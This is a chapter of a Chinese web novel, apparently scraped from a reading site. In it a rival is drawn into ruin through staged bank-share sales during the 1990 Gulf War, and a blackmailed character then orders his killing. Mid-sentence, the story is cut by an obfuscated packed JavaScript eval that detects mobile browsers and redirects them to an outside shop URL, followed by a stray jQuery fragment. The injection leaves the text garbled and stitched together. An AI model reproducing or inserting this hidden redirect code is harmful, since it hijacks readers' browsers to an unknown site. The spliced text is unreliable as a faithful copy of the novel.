费尔蒙套房内,天光微亮。
阿利斯泰尔、伊森和菲伊一夜未睡,一直在盯盘。
看着历史在自己眼前如期上演,菲伊揉了揉酸疼坚硬的肩颈,暗暗松了一口气。
伊森看着最新的交易数据,呼吸带着一丝急促:“先生,银行股全线下跌,是否立即清仓我们持有的休斯顿储蓄股份。”
阿利斯泰尔微微点头,示意伊森拨通交易员的专线电话。
伊森指尖刚按在拨号键上,菲伊忽然制止了他:
“等等,先别全抛。”
伊森动作一顿,看向阿利斯泰尔。后者放下手里的咖啡杯,目光转向菲伊,没有追问,只静静等着她开口。
菲伊盯着屏幕上跳动的绿色数字,快速道:“分批抛。不要一次性砸盘,让股价慢慢跌,给维克多一个救场的机会。”
阿利斯泰尔眉峰微挑,眼底掠过一丝锐光:“你是想故意误导维克多,让他觉得这只是战争引发的短期回调,只要扛过去就能反弹?”
菲伊点头:“没错。一次性砸盘会直接把股价砸穿,就算亏到吐血,维克多也会立刻止损跑路。
可一旦让他看到希望,他就会把最后一点家底拿出来,接下我们抛出的所有股票。”
阿利斯泰尔看着她亮得惊人的眼睛,唇角勾起一抹极淡的笑意。
“我好像没说过,” 他声音低沉,带着真心的赞赏,“你天生就该去华尔街。”
说罢,不等菲伊回应,转头对伊森吩咐:“按她说的做。控住跌幅,不要引起市场恐慌。”
伊森愣了一瞬,随即重重点头。
他跟了阿利斯泰尔三年,从未见boss如此干脆地采纳旁人的决策,更何况是一个十六岁的女孩。
但这半个月以来的布局,早已让他对菲伊心服口服。
一切正如菲伊所料。
休斯顿储蓄的股价没有断崖式下跌,接下来几天都是小幅阴跌,偶尔还会出现几十手买单拉回一点跌幅,看起来像极了正常的回调洗盘。
而这,让维克多大大松了口气。
“我就说只是短期波动!阿利斯泰尔那小子资金链断了,正在慢慢出货跑路。他抛多少,我们就接多少!
等他清完仓,股价自然会涨回来,到时候我们手里的股份更多,就算斯坦利想反悔也没用了,休斯顿储蓄注定是我们的!”
约翰面露迟疑:“我的流动资金已经用完了,剩下的是公司账面的款项,不经过董事会,我无法挪动。”
“账面没有钱,我就去借!” 维克多咬牙,眼里露出赌徒的疯狂,“只要熬过这一波,我们就能赢!等拿下休斯顿储蓄,这点钱十倍都能赚回来!”
他不顾约翰的劝阻,连夜联系了休斯顿最大的地下钱庄,以名下两座油井的收益权为抵押,借了1500万的高利贷。
这笔钱,很快就被他一分不剩地砸进股市,接下了阿利斯泰尔分批抛出的所有股份。
短短三天,他的持股比例从 30% 涨到了36%,账面亏损却扩大到了1.1亿美元。
8月6日,前线传来消息,伊拉克军队已经占领科威特全境,战火随时可能蔓延到沙特阿拉伯。
国际油价继续冲高,全美银行股集体跳水,花旗、大通等跌幅普遍在4-5%之间。
休斯顿联合储蓄自然不能幸免,开盘不久,跌幅就超过了4.3%。
费尔蒙套房内,阿利斯泰尔盯着屏幕上一片飘绿的银行板块,转头对伊森下令:“是时候了。剩下的所有股份,全部市价挂单。同时打给高盛的交易员,让他们在场内配合出货。”
“明白!”
20分钟后,休斯顿联合储蓄的股价再次跌了1.5%,直接跌破25美元的关键支撑位。
最后一根稻草被压断。
散户的恐慌情绪瞬间引爆。证券营业部里一片混乱,哭喊声、咒骂声此起彼伏。
所有人都在疯狂打电话给经纪人,指令只有一个:"卖!全部卖掉!"
截止收盘时,休斯顿联合储蓄的单日跌幅已达6.8%。
截止当日收盘,休斯顿联合储蓄单日暴跌 6.8%,收于23.4美元。
三天前还心存侥幸的维克多,此刻正瘫坐在椅子上,目光呆滞地看着终端上跳动的数字,久久说不出话来。
祸不单行的是,一叠催款函紧跟着送到了他的办公室。
此前为了筹集收购资金,他抵押油井发行的结构性票据,绑定了能源价格。
油价暴涨触发最高档浮动利息,他需要支付给买方的利息,直接翻了四倍!
“我们之前买的那些原油期货,赚了多少?” 维克多抓着财务总监的衣领,声音嘶哑。
“只有180万。” 财务总监脸色惨白,“我们买的太少了,连利息的十分之一都不够。”
"那油井呢?我们的油井现在值钱了!" 维克多嘶吼着,指着墙上的资产地图,"现在就卖!全部卖掉!"
"卖不掉。" 财务总监苦笑,"现在所有机构都在抢能源公司的流通股,没人愿意接盘整座油井。这种重资产走完交易流程至少需要三个月,我们下周三就要付利息,根本来不及。更何况……"
“更何况什么?”
“有两座油井被您抵押出去了。”财务总监讷讷道。
维克多:“……”
最终,他只能选择以三折的价格,贱卖了手里的那些票据,又把最后一座还没开发的油井抵押给了地下钱庄,才勉强凑齐了利息。
可这只是饮鸩止渴。
高利贷的利息像滚雪球一样越滚越大,每天一睁眼,他就要多还1.5万美元。
与此同时,第一得州银行也陷入了巨大的危机中。
银行门口,储户排起的长龙从大厅一直延伸到两条街外。有人扛着行李箱,有人拿着存折,
所有人都只有一个念头:把钱取出来。
这家银行六成以上的贷款都借给了能源公司。现在油价暴涨,很多以炼油为主的小型石油公司成本急剧上升,资金链断裂,还不上钱。
机构投资者率先跑路,三天内抽走10亿美元的存款。散户紧随其后,挤兑潮全面爆发。
更要命的是,董事会在查账时发现,约翰?劳恩斯偷偷将银行内的所有周转资金和暂时未放出去的款,共计1.2亿美元,全部投进了股市,用来收购休斯顿储蓄的股票。
而现在股价暴跌,这笔钱已经亏了快一半。
董事会震怒,立刻发布公告:暂停约翰·劳恩斯行长职务,启动内部
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753428|209455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
调查。
偏偏这时,维克多还打电话向约翰借钱。
“借钱?!”约翰直接气笑了,“我已经被停职调查了!都是你,要不是你天天怂恿我,我怎么会把银行的钱全部投进去?!我现在工作没了,说不定还要坐牢!”
维克多先是一愣,随即立刻明白了什么,语气瞬间变得凶狠,“当初是你自己点头同意的!现在出了事想赖我?门都没有!”
“维克多·哈帕,你给我等着!这事没完!” 约翰嘶吼着,狠狠摔了电话。
听筒里传来 “嘟嘟” 的忙音,维克多站在原地,气得浑身发抖。他一脚踹翻旁边的椅子,玻璃茶几被撞得粉碎。
银行这条路彻底断了。地下钱庄的人明天就要上门。他现在身无分文,所有资产都被抵押了出去。
绝望之中,他忽然想到了一个人——理查德。
这个布鲁姆家族的叛徒,手里肯定有钱。
维克多眼神一厉,抓起外套就往外走。
他买了最近的航班,直奔理查德位于亚特兰大的豪宅。
“理查德,借我一个亿。” 维克多往沙发上一坐,开门见山道。
理查德皱起眉头,脸色难看:“你疯了?我哪有一个亿?”
“你会有的。” 维克多冷笑一声,从口袋里掏出一个巴掌大的黑色录音机。
他按下播放键,磁带转动的沙沙声响起,里面清晰地传出理查德的声音:
“阿利斯泰尔明天会去芝加哥,他要私下接触平原资本的那几个小股东……”“董事会今天又吵了一架,那些老东西都在逼他撤资……”
“这两个月来的通话,每一次我都录下来了。”维克多关掉录音机,威胁道,“要是我把这个交给阿利斯泰尔,你觉得布鲁姆家族会怎么对付你?”
理查德的脸色瞬间变得惨白。
他死死盯着维克多手里的录音机,手指攥得咯咯作响。
他知道维克多说到做到。一旦事情曝光,他不仅会身败名裂,查尔斯绝不会放过一个出卖家族的叛徒。
沉默了许久,理查德缓缓开口,语气平静得可怕:“一个亿太多了,短时间内我根本拿不出来。而且这么大一笔钱转账,动静太大,肯定会引起注意。”
他顿了顿,装作妥协的样子:“我现在账户上只有300万现金,先转给你应急。剩下的钱,我给你凑,两周内给你。”
“七天。”维克多沉声道,“七天内,我必须看到剩下的钱。”
说罢,他又一次晃了晃手上的录音机,然后转身离开。
看着维克多远去的背影,理查德脸上的妥协缓缓消失,取而代之的是冰冷的杀意。
他指尖重重敲着桌面,沉默半晌后,拿起座机拨了一个号码。
接电话的是他的心腹马克,跟着他干了十几年,替他处理过不少见不得光的事。
“马克,帮我办件事。” 理查德的声音冰冷得没有一丝温度,“维克多·哈帕手里有一盘我的录音磁带,你想办法拿回来,连人一起解决掉。做得干净点,制造意外,别留下痕迹。”
“明白,理查德先生。” 电话那头的马克沉声应下,“我立刻找人去办,不会牵扯到您。”
挂掉电话,理查德靠在椅背上,长长松了口气。